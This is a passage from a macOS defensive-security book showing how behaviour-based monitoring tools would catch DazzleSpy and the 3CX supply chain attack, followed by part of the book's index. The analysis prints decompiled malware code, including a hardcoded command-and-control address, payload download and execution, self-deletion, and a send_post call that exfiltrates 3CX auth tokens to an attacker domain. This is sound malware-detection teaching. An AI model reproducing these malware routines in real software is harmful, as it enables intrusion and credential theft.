    <key>RunAtLoad</key>
    <true/>
    <key>SuccessfulExit</key>
    <true/>
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</dict>
</plist>

The ProgramArguments key confirms the path to the persistence location 
of the malicious binary we saw in the decompilation. Also, you can see that 
the RunAtLoad key is set to true, meaning that each time the user logs in (at 
which point the operating system examines launch agents), macOS will 
automatically restart the malware.

BlockBlock could easily detect this persistence via Endpoint Security 
file events or the newer ES_EVENT_TYPE_NOTIFY_BTM_LAUNCH_ITEM_ADD event. Also, 
because traditional antivirus products have improved their detections, 
KnockKnock’s VirusTotal integrations will now highlight DazzleSpy as mali-
cious, but even if the antivirus signatures failed to flag DazzleSpy as mal-
ware (as they did when the malware was initially deployed), KnockKnock 
could detect DazzleSpy’s persistent launch agent, as its Background Task 
Management plug-in reveals all installed launch items.

Furthermore, notice the com.apple prefix to the property list, which 
suggests that the binary is an Apple updater. Apple hasn’t signed the item, 
however; in fact, the binary is wholly unsigned. (KnockKnock indicates this 
by showing a question mark next to the item’s name.) Taking all this infor-
mation into consideration, we can conclude that the item is likely malicious 
and requires thorough investigation.

Network Access
Unauthorized network access is yet another great way to detect malware, 
and DazzleSpy is no exception. To receive tasking, DazzleSpy connects to 
the attacker’s command-and-control server at 88.218.192.128. The following 
snippet of decompilation shows this address is hardcoded into the malware, 
along with the port, 5633:

int main(int argc, const char* argv[]) {
    ...
    var_18 = [[NSString alloc] initWithUTF8String:"88.218.192.128:5633"];

A network monitor like LuLu, which uses the techniques mentioned in 
Chapter 7, could easily detect this network access. In its alert, LuLu would 
capture the unauthorized softwareupdate program’s attempt to connect to a 
remote server listening on a nonstandard port. It would also show that the 
program isn’t signed with a trusted certificate or notarized and that it runs 
from a hidden directory. Put together, these red flags certainly warrant a 
closer inspection.

The 3CX Supply Chain Attack
This last case study pits our tools and techniques against what are widely 
considered to be some of the most challenging attacks to detect: supply 
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chain attacks. These damaging cybersecurity incidents can infect a massive 
number of unsuspecting users by compromising trusted software. Although 
most supply chain attacks impact Windows-based computers, there has been 
a noticeable uptick of such attacks against the open source community8 
and macOS. Here, we’ll focus on the 2023 nation-state attack discussed sev-
eral times in the book, which targeted the popular private branch exchange 
(PBX) software provider 3CX.

Believed to be the first chained supply chain attack (in which the attackers 
gained initial access to 3CX through a separate supply chain attack), attackers 
subverted both the Windows and Mac versions of 3CX’s application. The 
attackers then signed the trojanized application with 3CX’s own developer 
certificate and submitted it to Apple, which inadvertently notarized it. 
Finally, macOS enterprise users downloaded the subverted application en 
masse, without suspecting that anything was amiss.

Supply chain attacks are incredibly difficult to detect. The legitimate 
macOS 3CX application contained more than 400MB of code spread across 
more than 100 files, so identifying a malicious component to confirm its 
subversion was like searching for a needle in a haystack. You can read more 
about this search in my write-up, where I both confirmed the subversion 
of the macOS app and pinpointed the single library within the app that 
hosted the attacker’s malicious code.9

Understandably, even large cybersecurity companies struggle with such 
detections: SentinelOne initially noted that it couldn’t confirm whether the 
macOS version of the 3CX app was impacted by the attack.10 Also, Apple’s 
scans missed the subversion of the infected installer, resulting in the inad-
vertent granting of a notarization ticket.

Still, it’s quite possible to detect supply chain attacks by observing anoma-
lous or unusual behaviors. CrowdStrike, the first organization to confirm the 
3CX attack on Windows,11 used this behavior-based approach.12 Let’s con-
sider the detection methods that could uncover this and other supply chain 
attacks. When taken together, various anomalies paint a very clear picture 
that something is amiss.

File Monitoring
The malicious code added to the 3CX app’s legitimate libffmpeg.dylib library 
had two simple goals: gather information about the infected host, then 
download and execute a second-stage payload. As part of the first activity, 
the malware also generated an identifier to uniquely identify the infected 
host and wrote it to a hidden, encrypted file, .main_storage.13 Here is a snip-
pet of decompilation from a function in the subverted libffmpeg.dylib library 
that opens the file, encrypts the information, and then writes it to disk:

1 rax = fopen(file, "wb");
if (rax != 0x0) {
    rbx = rax;
    rax = 0x0;
  2 do {
        *(r14 + rax) = *(r14 + rax) ^ 0x7a;
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        rax = rax + 0x1;
    } while (rax != 0x38);

  3 fwrite(r14, 0x38, 0x1, rbx);
    fflush(rbx);
    fclose(rbx);
}

In the decompilation, you can see the file being opened with the fopen 
API 1. The filename is hardcoded in the malware but not shown in the 
decompilation, as the code dynamically creates the full path and then 
passes it into the function. Once it has opened the file, the malware XOR 
encrypts a buffer pointed to by the r14 register using a hardcoded key, 0x7a 2. 
Then it writes the encrypted buffer to the file with the fwrite API 3.

Using a file monitor, you could observe the malware opening and writ-
ing to this hidden file:

# FileMonitor.app/Contents/MacOS/FileMonitor -pretty -filter ″3CX Desktop App″
{
  "event" : "ES_EVENT_TYPE_NOTIFY_CREATE",
  "file" : {
    "destination" :
    "/Users/User/Library/Application Support/3CX Desktop App/.main_storage",
    "process" : {
      "pid" : 40029,
      "name" : "3CX Desktop App",
      "path" : "\/Applications/3CX Desktop App\/Contents\/MacOS\/3CX Desktop App″
    }
  }
}
...
{
  "event" : "ES_EVENT_TYPE_NOTIFY_WRITE",
  "file" : {
    "destination" :
    "/Users/User/Library/Application Support/3CX Desktop App/.main_storage",
    "process" : {
      "pid" : 40029,
      "name" : "3CX Desktop App",
      "path" : "\/Applications/3CX Desktop App\/Contents\/MacOS\/3CX Desktop App″
    }
  }
}

If you manually examine .main_storage with the macOS hexdump utility, 
you can see that it clearly appears obfuscated or encrypted:

# hexdump -C ~/Library/Application\ Support/3CX\ Desktop\ App/.main_storage
00000000  1c 19 1e 4f 1f 43 4e 1b  57 1b 1b 4c 43 57 49 43  |...O.CN.W..LCWIC|
00000010  49 1c 57 4f 49 1f 4e 57  4f 1f 4b 4a 4f 4d 1b 4c  |I.WOI.NWO.KJOM.L|
00000020  4b 4c 1c 4b 7a 7a 7a 7a  7a 7a 7a 7a 7a 7a 7a 7a  |KL.Kzzzzzzzzzzzz|
00000030  05 0c ee 1e 7a 7a 7a 7a
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By flagging the creation of hidden files, especially those that contain 
encrypted content, we’d quickly notice that the 3CX application was acting 
very strangely. One way to detect that a file is encrypted is to compute the 
file’s entropy. This process is computationally intensive, so we wouldn’t want 
to do this for every file, but checking hidden files might be a good start!

Network Monitoring
Once the malware has generated an ID for the victim and completed a basic 
survey of the infected system, it sends this information to its command-and-
control server. The resulting network traffic gives us yet another heuristic 
with which to detect that something is amiss. However, the 3CX application 
accesses the network to accomplish its legitimate functionality, so to detect 
its subversion, we’d need to observe it communicating with new, malicious 
endpoints.

In fact, this is how users noticed the supply chain attack in the first 
place. The first reports of odd behavior appeared on 3CX forums, where 
customers posted about unusual network traffic emanating from the 
application. For example, one customer noticed a connection to the 
 msstorageboxes .com DNS host, an unrecognized domain that had just been 
registered in Reykjavik.14 The DNSMonitor tool described in Chapter 13 
lets us observe this DNS traffic:

% /Applications/DNSMonitor.app/Contents/MacOS/DNSMonitor
{
    "Process" : {
        "pid" : 40029,
        "name" : "3CX Desktop App",
        "path" : "\/Applications/3CX Desktop App\/Contents\/MacOS\/3CX Desktop App″
    },
    "Packet" : {
        "Opcode" : "Standard",
        "QR" : "Query",
        "Questions" : [
          {
            "Question Name" : "1648.3cx.cloud",
            "Question Class" : "IN",
            "Question Type" : "AAAA"
          }
        ],
        ...
    }
}
...
{
    "Process" : {
        "pid" : 40029,
        "name" : "3CX Desktop App",
        "path" : "\/Applications/3CX Desktop App\/Contents\/MacOS\/3CX Desktop App″
    },
    "Packet" : {
    "QR" : "Query",
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    "Questions" : [
      }
        "Question Name" : "msstorageboxes.com",
        "Question Class" : "IN",
        ...

These two requests attempt to resolve the domains 1648.3cx.cloud and 
msstorageboxes .com. How might you classify these endpoints as legitimate 
or anomalous? As discussed in the previous chapter, general approaches 
include examining historical DNS records, WHOIS data, and any SSL/TLS 
certificates.15 These data points look normal for the 3cx.cloud domain (which 
is part of 3CX’s infrastructure), but the msstorageboxes .com domain raises some 
serious red flags.

Process Monitoring
Once the malicious code in libffmpeg.dylib has resolved the address of the 
command-and-control server, it checks in with the server by submitting the 
generated UUID and basic survey data it has collected from the infected 
host. Then it downloads and executes a second-stage payload, which provides 
even more opportunities to heuristically detect this stealthy attack. The fol-
lowing snippet of decompiled code from libffmpeg.dylib shows the malware 
writing out the second-stage payload and then executing it:

1 sprintf(&var_21F8, "%s/UpdateAgent", &var_1DF8);
r13 = &var_21F8;
2 rax = fopen(r13, "wb");
if (rax != 0x0) {
  3 fwrite(var_23F8 + 0x4, var_23F8 - 0x4, 0x1, file);
    ...
  4 chmod(r13, 755o);
    sprintf(r12, rbp, 5 r13);
  6 rax = popen(r12, "r");
    ...

The malware builds a full path for the payload within the 3CX desktop 
app’s Application Support directory. You can see that the name of the pay-
load is hardcoded as UpdateAgent 1. Next, it opens the file in write binary 
mode 2 and writes the bytes of the payload it received from the attack-
ers’ command-and-control server 3. After changing its permissions to 
executable 4, the malware invokes the sprintf API to create a buffer with 
the path to the saved UpdateAgent binary stored in the r13 register 5 and 
the suffix >/dev/null 2>&1. This suffix, not shown in the decompilation, will 
redirect any output or errors from the payload to /dev/null. Finally, the 
malware executes the payload 6.

By the time researchers discovered the supply chain attack, the attackers’  
command-and-control servers were offline, so we can’t observe the attack 
in real time. However, we could emulate it by configuring a host to resolve 
msstorageboxes .com to a server we control, then serve a sample of the 
second-stage payload from an infected victim. This setup would allow us 
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to understand what information our monitoring tools could capture about 
this surreptitious infection.

For example, the process monitoring code from Chapter 8 would cap-
ture the following:

# ProcessMonitor.app/Contents/MacOS/ProcessMonitor -pretty
{
    "event" : "ES_EVENT_TYPE_NOTIFY_EXEC",
    "process" : {
        "pid" : 51115,
        "name" : "UpdateAgent",
        "path" : "/Users/User/Library/Application Support/3CX Desktop App/UpdateAgent",
        "signing info (computed)" : {
            "signatureStatus" : 0,
            "signatureSigner" : "AdHoc",
            "signatureID" : "payload2-55554944839216049d683075bc3f5a8628778bb8"
        },
        "ppid" : 40029,
        ...
    }
}

Recall that the popen API executed the second-stage payload in the 
shell. Even so, its parent ID (in this instance, 40029) will still identify the 
3CX desktop app instance. The fact that the 3CX desktop app is spawning 
additional processes is slightly suspicious; the fact that this process’s binary, 
UpdateAgent, is signed in an ad hoc manner, rather than with a trusted cer-
tificate, is a huge red flag:

% codesign -dvvv UpdateAgent
Executable=/Users/User/Library/Application Support/3CX Desktop App/UpdateAgent
Identifier=payload2-55554944839216049d683075bc3f5a8628778bb8
CodeDirectory v=20100 size=450 flags=0x2(adhoc) hashes=6 + 5 location=embedded

As in the case of DazzleSpy, initial payloads are often signed with a 
developer certificate as well as notarized, allowing them to run with ease 
on recent versions of macOS. However, secondary payloads often aren’t. 
Nor do they need to be, if they’re downloaded and executed by malicious 
code running on the operating system. However, most legitimate software 
is signed, so you should closely examine any non-notarized third-party soft-
ware, or even block it altogether.

Currently, BlockBlock blocks only non-notarized software that macOS 
has quarantined. However, you could modify the tool to allow only nota-
rized third-party software to execute. To do so, you could register an 
Endpoint Security client and subscribe to ES_EVENT_TYPE_AUTH_EXEC events. 
If a new process is validly signed and notarized, you could return ES_AUTH 
_RESULT_ALLOW to allow it to execute. Otherwise, you could return the value 
ES_AUTH_RESULT_DENY, blocking the process. Keep in mind, however, that core 
platform binaries aren’t notarized.



Case Studies   325

BlockBlock always allows platform binaries, which you can identify 
using the is_platform_binary member of the Endpoint Security es_process_t 
structure. Also, applications from the official Mac App Store aren’t nota-
rized, although Apple scans them for malware. To determine whether an 
application came from the Mac App store, use the following requirement 
string: anchor apple generic and certificate leaf [subject.CN] = \"Apple Mac OS 
Application Signing\".

Capturing Self-Deletion
The UpdateAgent binary performs other suspicious actions we could detect. 
For example, it self-deletes. After forking, the child instance invokes the 
unlink API with the value argv[0], which holds the path of the process’s binary:

int main(int argc, const char* argv[]) {
    ...
    if(fork() == 0) {
        ...
        unlink(argv[0]);

Malware is rather fond of self-deletion, as removing the binary from 
disk can often thwart analysis. Even for security tools, macOS doesn’t pro-
vide an effective way to capture memory images of running processes. In 
fact, at least one security company whose product tracked process launches 
failed to obtain the UpdateAgent binary, which had self-deleted by the time 
an analyst tried manually to collect it. Similarly, traditional signature-based 
antivirus scanners require an on-disk file to scan and will fail if they don’t 
find one. Luckily an anonymous user was kind enough to share the binary 
with me, leading to its detailed analysis in my write-up.16

For heuristic-based detection approaches, however, self-deleted binaries 
are both easy to detect and a big red flag. Detecting self-deleted binaries is 
easy to do with a file monitor: just look for a deletion event in which the 
process path matches the path of the file being deleted, as in the follow-
ing output:

# FileMonitor.app/Contents/MacOS/FileMonitor -pretty -filter UpdateAgent
{
  "event" : "ES_EVENT_TYPE_NOTIFY_UNLINK",
  "file" : {
    "destination" : "/Users/User/Library/Application Support/3CX Desktop App/UpdateAgent",
    ...
    "process" : {
      "pid" : 51115,
      "name" : "UpdateAgent",
      "path" : "/Users/User/Library/Application Support/3CX Desktop App/UpdateAgent"
    }
  }
}

Notice that the two paths to the UpdateAgent binary match.
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Detecting Exfiltration
After self-deleting, UpdateAgent extracts information from both a legitimate 
3CX configuration file and the .main_storage file created by the first-stage 
component, libffmpeg.dylib. In its send_post function, the malware then trans-
mits this information to another command-and-control server, sbmsa.wiki:

parse_json_config(...);
read_config(...);

enc_text(&var_460, &var_860, rdx);

sprintf(&var_1060, "3cx_auth_id=%s;3cx_auth_token_content=
%s;__tutma=true", &var_58, &var_860);

send_post("https://sbmsa.wiki/blog/_insert", &var_1060, &var_1064);

This transmission is arguably the easiest action of the entire supply 
chain attack to detect and, more importantly, to classify as anomalous, for 
many of the reasons already discussed. First, a network extension (such as 
DNSMonitor) can easily detect a new network event and tie it back to the 
responsible process. In this case, the responsible process, UpdateAgent, 
was recently installed, signed in an ad hoc manner, and non-notarized. 
Moreover, the process has self-deleted. Finally, the domain sbmsa.wiki 
appears suspicious due to characteristics such as a lack of historical DNS 
records, choice of registrar, and more.

The alert from LuLu shown in Figure 14-1, triggered by the malware 
attempting to connect to the attacker’s remote server, captures many of 
these anomalies. For instance, strikethrough process names indicate self-
deletion, while the perplexed frowning face signifies that the malware 
has an untrusted signature.

Figure 14-1: A LuLu alert shows a self-deleted binary with an untrusted signature attempt-
ing to access the network.

Supply chain attacks are notorious for being very challenging to detect 
and having an extensive impact. Nevertheless, as demonstrated here, moni-
toring tools that leverage heuristics can identify anomalous behaviors asso-
ciated with these complex attacks, leading to their detection.
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Conclusion
Whenever we make bold claims about our tools’ detection capabilities, 
especially regarding yet-to-be-discovered threats, we must back them up. 
In this last chapter, we pitted the tools and detection approaches presented 
throughout the book against the latest and most insidious threats targeting 
macOS systems. Although we didn’t have prior knowledge of these threats, 
our heuristic-based detections performed admirably. This confirms the 
power of behavior-based heuristics in identifying both existing and emerg-
ing threats, as we’ve demonstrated in this final section and throughout the 
book. More importantly, you now have the knowledge and skills to write 
your own tools and heuristics, empowering you to defend against even the 
most sophisticated macOS threats of the future.
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event handling, 185–190
mute inversion, 209–212
muting, 206–212
printing out file-open 

Endpoint Security  
event, 212

proof-of-concept file 
protector, 223–228

file monitoring, 200–203
handler blocks, 185
header files, 182–183
mute inversion, 209–212
muting events, 206–212
prerequisites, 191
process monitor, 190–200
proof-of-concept file protector, 

223–228
workflow, 180–190

EndpointSecurity.h header file, 182

entitlements
applying for, 254
BlockBlock tool and, 254–256
com.apple.developer.endpoint-security 

.client, xxvii, 180
enabling in Xcode, 255–256
provisioning profiles, 255
registering App ID, 254–255

entropy
encrypted binaries, 70
packed binaries, 67–70

enumerateProcesses project, 4.  
See also processes

environment information, processes, 
19–24

converting process information 
into string object, 22–23

creating shared memory object, 20
declaring required variables, 20
extracting global data, 21
extracting size of response data, 22
resolving function pointer, 21
tracing process ID back to launch 

item property list, 23–24
e_ppid member, process hierarchies, 

14–15
error codes, code signing, 97
ESClient.h header file, 182
ES_EVENT_TYPE_AUTH_DELETEEXTATTR 

event, 219
ES_EVENT_TYPE_AUTH_* events, 201–202
ES_EVENT_TYPE_NOTIFY_BTM_LAUNCH_ITEM 

_ADD event, 261–262
ES_EVENT_TYPE_NOTIFY_BTM_LAUNCH_ITEM 

_REMOVE event, 261
ES_EVENT_TYPE_NOTIFY_CLOSE event, 202
ES_EVENT_TYPE_NOTIFY_CREATE event, 201
ES_EVENT_TYPE_NOTIFY_EXEC event,  

184–186, 193–194,  
197–198, 221

ES_EVENT_TYPE_NOTIFY_RENAME event, 202
ES_EVENT_TYPE_NOTIFY_UNLINK event, 202
es_invert_muting API, 210
eslogger utility, 183–184, 186
ESMessage.h header file, 182, 185, 201
es_message_t structure, 185–186,  

201, 216
es_muted_paths_events API, 210
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es_mute_process API, 208
es_mute_process_events API, 208
ESPlayground project, 180–182, 190, 

205, 207, 211–213, 215, 
223, 227

ESTypes.h header file, 182, 206, 210, 215
EvilQuest malware, 79, 84–85, 93
executable packers, xxii, 62–67
execution architecture, processes, 

32–34
execution state, processes, 32
exfiltration of data, 157, 326
exit status, Endpoint Security process 

monitor, 199
exploit detection, 315–317

F
false positives, code signing, 75, 96–97
fat binaries. See universal binaries
file monitoring

Endpoint Security, 200–203
3CX supply chain attack, 320–322

file protector, Endpoint Security, 
223–228

allowing all file accesses, 224–225
denying all file accesses, 225
extracting process paths and 

filepaths, 225–226
granting file access for platform 

and notarized processes, 
226–227

file utility, 40
filter data providers, 159, 170–176

enabling, 170–171
querying the flow, 173–174
running monitor, 174–176
writing extension for, 171–172

Finder, 19, 212, 301
Flashback malware, 246, 248
FruitFly malware, xxii, 142,  

279–280, 314
fully qualified domain name  

(FQDN), 164

G
Genieo malware, 11
getaddrinfo API, 110
GetProcessForPID API, 17–19

H
HackingTeam installer, 70–71
handler blocks, Endpoint Security, 185
header files, Endpoint Security, 182–183
heuristic-based detection approach. 

See also code signing; 
Objective-See tools

code signing and, 76
CPU utilization, 35–36
detecting obfuscation, 62
downsides of, xxii
false positives, xxii, 75, 96–97
file monitoring, 200
hidden directories and, 6–7
network monitoring, 174
protecting files in user’s home 

directory, 225
hierarchies, process, 13–19

Endpoint Security process 
monitor, 193

parent, 14–17
retrieving information with 

Application Services 
APIs, 17–19

historical DNS records, 310
Hopper, 87, 145
host-based data collection, 102
How to Reverse Malware on macOS 

Without Getting Infected 
(Stokes), xxviii

I
Info.plist file

browser extensions, 245–246
checking binary origins, 218
DNSMonitor, 299–300, 303
dynamic library insertion, 248
writing system extensions, 171

integrated development environment 
(IDE), xxvi

Intel binaries, 32
Internet Protocol (IP) sockets, 107, 

109–110
interprocess communication (IPC)

AF sockets, 105
DNSMonitor, 303–304
XPC, 265



334   Index

Invisible Internet Project (I2P), 8
IPStorm malware, 63, 66, 69, 142
iWebUpdate binary, 11, 158, 167–168

J
JSON

building JSON-ified string, 240
converting object properties to, 

238–240
output from KnockKnock, 247

K
KeRanger malware, 7
KERN_PROCARGS2 value, 11–12
KeySteal malware, 86, 93
kill system API, 32
kinfo_proc structure, process 

hierarchies, 14–15
KnockKnock tool, 233–252

Background Task Management, 
241–242

browser extensions, 242–245
building list of loaded libraries 

with, 249
command line options, 235
DazzleSpy and, 319
determining whether item is a 

binary, 250
dylib hijacking, 249
dylib insertions, 246–248
dylib proxying, 249–252
enumerating dependencies of 

running processes, 251
ItemBase class, 238
persistent item types, 238–240
plug-ins, 235–237, 240–252
positive detections/antivirus 

engines, 240
system_profiler approach, 247
user interface, 234–235

kNStatSrcKeyRxBytes key, 117
kNStatSrcKeyTxBytes key, 117
kp_eproc structure, process hierarchies, 

14–15
kSecCodeInfoCertificates key,  

81–82
kSecCodeInfoFlags key, 82

L
LaunchAgents directories, 121–123
launchctl utility, 19–20
launch daemon, 121, 257–258.  

See also persistence
Launch Services APIs, 243, 246
Lazarus APT group, 13–14
LC_SYMTAB load command, 60
leaf signature, 90
libproc APIs, 4
/Library/SystemExtensions/<UUID>/ 

library, 303
listeners, XPC, 265–266
load commands, Mach-O binaries, 53
loaded libraries

building list of with  
KnockKnock, 249

enumerating, 24–28
LoggingSupport framework, 145–146, 

148, 152, 289
log monitoring, 141–152

extracting log object properties, 
148–151

remote logins, 142
resource consumption, 151–152
streaming log data, 146–148
TCC mechanism, 142–143
unified logging system, 143–146
webcam access, 142

lsof tool, 30–31
LSSharedFileListCreate API, 120
LSSharedFileListInsertItemURL  

API, 120
LuLu software, 78–79, 84, 170, 307,  

319, 326

M
Macho* APIs, 47–50
Mach-O binaries

code signing and, 93–95
extracting dependencies, 54–59
extracting symbols, 59–62
load commands, 53
Mach-O headers, 50–52
slices, 40, 43, 47–50
universal binaries, 39–50

mach_timebase_info API, 216
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MacStealer malware, 209–210, 212, 225
malicious networking activity, 102–105
Malware Removal Tool (MRT), 76–77
management information base (MIB) 

array, 11
metadata, accessing, 134–135
microphone, 282–285. See also audio 

monitoring
Microsoft AutoRuns tool, 233
Mokes malware, 57–58, 142, 280, 314
MRT (Malware Removal Tool), 76–77
mute inversion, Endpoint Security, 

209–212
audit tokens and, 210
default mute set and, 210
monitoring directory access, 

211–212
muting events, Endpoint Security, 

206–212

N
name error, DNS traffic, 309
names, process, 8–9
NEDNSProxyManager object, 161–162
NEFilterFlow objects, 172–174
NEFilterManager object, 170–171
NEFilterSocketFlow objects, 174
NENetworkRule object, 172
netbottom command line tool, 112
Netiquette tool, 104
nettop utility, 112, 156
network access, DazzleSpy, 319
network-centric data collection, 102
network extension, DNSMonitor, 

302–303
NetworkExtension framework, xxiii,  

111–117, 159–160, 
297–301

activation, 159–160
DNS monitoring, 157–169
filter data providers, 169–175
indentifying responsible process, 

168–169
methods, 163
prerequisties, 159, 298

network monitoring, 155–176
DNS monitoring, 157–169
filter data providers, 169–175

snapshots, 156–157
3CX supply chain attack, 322–323

network sockets, 106–111
network state and statistics, 101–118. 

See also NetworkStatistics 
framework

capturing, 105–111
extracting network sockets, 

106–107
host-based vs. network-centric 

collection, 102
malicious networking activity, 

102–105
retrieving process file  

descriptors, 106
socket details, 107–111

NetworkStatistics framework, 111–112
callback logic, 114–115
creating network statistic 

managers, 113–114
kNStatSrcKeyRxBytes key, 117
kNStatSrcKeyTxBytes key, 117
linking to, 113
queries, 115

notarization
detecting, 77
disk images, 82–84
packages, 91–92

notification events, 183–184, 200–203
device added, 286–287
device removed, 286–287

NSRunningApplication object, 8–9
NSTask API, 26
NStatManagerCreate API, 113
NStatManagerQueryAllSources 

Descriptions API, 156–157
NSUserDefaults class, 292
NSXPCConnection class, 267
NSXPCListenerDelegate protocol, 

265–266
NukeSped malware, 7
NX* APIs, 42–47
NXDOMAIN response, DNS traffic, 309–310

O
Objective-C language, xxvi, 59

extracting log object properties, 
148–151
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Objective-C language (continued)
performSelector: method, 134
private classes, 89

Objective-See tools, xxiv, 231–232
BlockBlock tool, 253–276
DNSMonitor, 297–311
KnockKnock tool, 233–252
LuLu software, 78–79, 84, 170, 307, 

319, 326
Oversight tool, 280–295
TaskExplorer, 25

OceanLotus malware, 317
open files, 28–31

lsof tool, 30–31
proc_pidinfo API, 29–30

oRAT malware, 33, 63, 104–105
os_log_create API, 303
OSLogEventProxy object properties, 

150–151
OSSystemExtensionRequest class, 161
OSSystemExtensionRequestDelegate 

protocol, 161
otool command

confirming code accuracy, 45
detecting encrypted binaries, 70
enumerating network  

connections, 112
finding dependency paths, 56
Mach-O headers and, 52
reverse engineering log APIs, 145

OverSight tool, 280–295
Block option, 280
camera monitoring, 285–286
device connections and 

disconnections, 286–288
disabling, 293–294
executing user actions, 292–293
extracting property values, 285
filtering cmio and coremedia 

messages, 290
LogMonitor class, 289–290
mic monitoring, 282–284
parsing messages to detect 

responsible process, 291
predicate evaluation, 151–152
property listener, 281–286
responsible process identification, 

288–291

sample utility, 288
scripts and, 291–293
stopping, 293

P
PackageKit framework, 86–89
packages

accessing framework functions, 
88–89

code signing and, 84–93
notarization status, 91–92
reverse engineering pkgutil utility, 

86–88
validating, 90–91

packed binaries, 62–70
calculating entropy, 67–70
dependencies, 63
section and segment names, 63–67
symbols, 63

packers (executable packers), xxii, 
62–67

Palomino Labs, 105
Parallels, xxviii
parent hierarchy, 14–17
ParentPSN key, 19
parsing binaries

extracting dependencies, 54–59
extracting symbols, 59–62
load commands, 53
Mach-O binaries, 50
packed binaries, 62–70
universal binaries, 39–50

paths, process, 6–8
of deleted binaries, 7–8
identifying hidden files and 

directories, 6–7
persistence, 119–137

Background Task Management, 
123–136

BlockBlock, 258–264
DazzleSpy malware, 121–123, 

317–319
DumpBTM project, 130–137
KnockKnock, 240–251
LSSharedFileListCreate API, 120
LSSharedFileListInsertItemURL 

API, 120
ProgramArguments key, 122
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RunAtLoad key, 122–123
WindTail malware, 120–121

persistence enumerator.  
See KnockKnock tool

persistence monitor. See BlockBlock 
tool

persistent item types, KnockKnock 
tool, 238–240

pkgutil utility, 78
package notarization, 91
reverse engineering, 86–89
verifying signature, 84–86

plug-ins
BlockBlock tool, 258–261
KnockKnock tool, 235–237

base scan method, 236
initializing by name, 237
methods of base class  

plug-in, 236
properties of base class 

plug-in, 236
updating global list of 

persistent items, 237
positive detections/antivirus  

engines, 240
processes, 3–38

arguments, 9–13
audit tokens, 5–6
code signing and, 24, 95–96
CPU utilization, 35–36
enumerating, 4–5
environment information, 19–24
execution architecture, 32–34
execution state, 32
loaded libraries, 24–28
open files, 28–31
paths, 6–8
process hierarchies, 13–19
start time, 34–35
validating names, 8–9

process file descriptors, retrieving, 106
ProcessInformationCopyDictionary API, 

18–19
process monitor, Endpoint Security, 

190–200
arguments, 197–199
audit tokens, 192
binary architecture, 194–195

code signing, 195–197
exit status, 199
extracting process  

information, 192
extracting process objects,  

191–192
hierarchies, 193
process paths, 192–193
script paths, 193–194
stopping the client, 199–200
subscribing to events, 191

process monitoring, 3CX supply chain 
attack, 323–325

process serial numbers, 17–19
procinfo command line option, 19–20
proc_listallpids API, 4–5
proc_pid* APIs, 102, 105–107, 111
proc_pidinfo API, 29–30
PROC_PIDPATHINFO_MAXSIZE constant, 6
proc_pid_rusage API, 35
ProgramArguments key, 122
property listeners, 281–286

audio monitoring, 282–285
camera monitoring, 285–286

provisioning profiles
BlockBlock tool, 255–256
DNSMonitor, 298–299
NetworkExtension framework, 160

psi structure, 108

Q
qtn_file_* APIs, 218

R
ransomware, 7, 120, 139, 200
redacted WHOIS data, 310
remote access tools (RATs)

CoinMiner, 8
ColdRoot, 28–29, 63
ElectroRAT, 8

remote connections, enabling, 271–272
remoteEndpoint instance variable, 

173–174
remote logins, 142
remote methods, XPC, 275–276
request:actionForReplacingExtension:

withExtension: delegate 
method, 161
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request:didFailWithError: delegate 
method, 161

request:didFinishWithResult: delegate 
method, 161

requestNeedsUserApproval: delegate 
method, 161

resources, xxix
respondsToSelector: method, 89
response packets, DNS traffic, 308
responsibility_get_pid_responsible 

_for_pid API, 16–17
responsible process identification, 16–19, 

168–169, 174, 188–189, 
193, 226, 288–291

reverse engineering
Activity Monitor utility, 30
log APIs, 145–146
pkgutil utility, 86–89

revocations, 77
rShell malware, 33
RunAtLoad key, 122–123

S
Safari browser extensions, 243–245

enumerating, 243
parsing output containing, 245
URLsForApplicationsToOpenURL: 

method, 243
sample utility, 288
SCDynamicStoreCopyConsoleUser  

API, 211
scripts, 193–194, 291–293
SecAssessmentCreate API, 83, 94
SecAssessmentTicketLookup API, 83, 

91–92
SecCodeCopyGuestWithAttributes  

API, 95
SecCodeCopyPath API, 96
SecCodeCopySigningInformation API, 81
SecRequirementCreateWithString 

API, 82
SecStaticCodeCheckValidity API, 

81–83, 93–94, 97
SecStaticCodeCreateWithPath API, 80
section and segment names, packed 

binaries, 63–67
SecTranslocateIsTranslocatedURL API, 

217–218

self-deleting malware, 325
serialization, 126–127
sfltool utility, 127–130
Shazam, 313–315
Shlayer malware, 9, 213, 242
SIGUSR1 signal, DNS traffic, 305–306
SIP. See System Integrity Protection
slices, Mach-O binaries, 40, 43, 47–50
snapshots, xxviii, 101, 112, 115, 139, 

155–157
soi_proto structure, sockets, 108
Spotlight service, 206–207, 246
startSystemExtensionMode method, 

162–163
start time, processes, 34–35
swap_* APIs, 43–44
Swift language, xxvi
symbols, binary

extracting, 59–62
packed binaries, 63

sysctl API, 11, 15, 34
sysctlbyname API, 4
sysctlnametomib API, 34
system extensions. See also 

NetworkStatistics 
framework

activating, 160–161
entitlements, 298–300
identifying responsible processes, 

168–169
prerequisites for, 160
writing, 162–169

System Integrity Protection  
(SIP), 254

disabling, xxvii, 160, 181
entitlements and, xxvii
re-enabling in Recovery Mode, 

xxviii
system monitoring. See Endpoint 

Security; log monitoring; 
network monitoring

System Preferences application, 
123–124

system_profiler, 247

T
TAOMM repository, xxv
TaskExplorer tool, 25
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TCC (Transparency, Consent, and 
Control) mechanism, 
142–143, 223, 292

TCP protocol
querying for statistics about 

network events, 115
sockets, 105, 108

3CX supply chain attack, 310, 319–326
BlockBlock tool, 324–325
code signing, 323–324
DNS monitoring and, 158–159
exfiltration, 326
file monitoring, 320–322
network monitoring, 322–323
process monitoring, 323–325
self-deletion, 325

translocation, 217–218
Transport Layer Security (TLS) 

package, 105

U
UDP protocol

DNS traffic, 163
querying for statistics about 

network events, 115
sockets, 105, 108

universal binaries, 39–50
fat_arch structures, 41–47
FAT_CIGAM value, 41, 43–44
fat_header structure, 40–41, 43–47
inspecting, 40–42
Macho* APIs, 47–50
NX* APIs, 42–47
parsing, 42
swap_* APIs, 43–44

universal logging subsystem, 143–146
DNSMonitor, 303–304
manually interfacing with, 144–145
Oversight tool and, 288–289
reverse engineering log APIs, 

145–146
URLsForApplicationsToOpenURL: 

method, 243

V
verifyReturningError: method, 90
virtual machines

analyzing malware safely, 
xxvii–xxviii

disabling SIM and AMFI, 160
VirusTotal, 168, 234, 239–240, 242, 319
vmmap tool, 24–26
VMware, xxviii

W
webcam access, 142.  

See also Oversight tool
WindTail malware, 95, 120–121, 227, 242
Wireshark, 127, 135, 158
workflow, Endpoint Security, 180–190

clients, 185
event handling, 185–190
events of interest, 182–184
handler blocks, 185

X
Xcode, xxvi, 255–256
XCSSET malware, 142, 223, 317
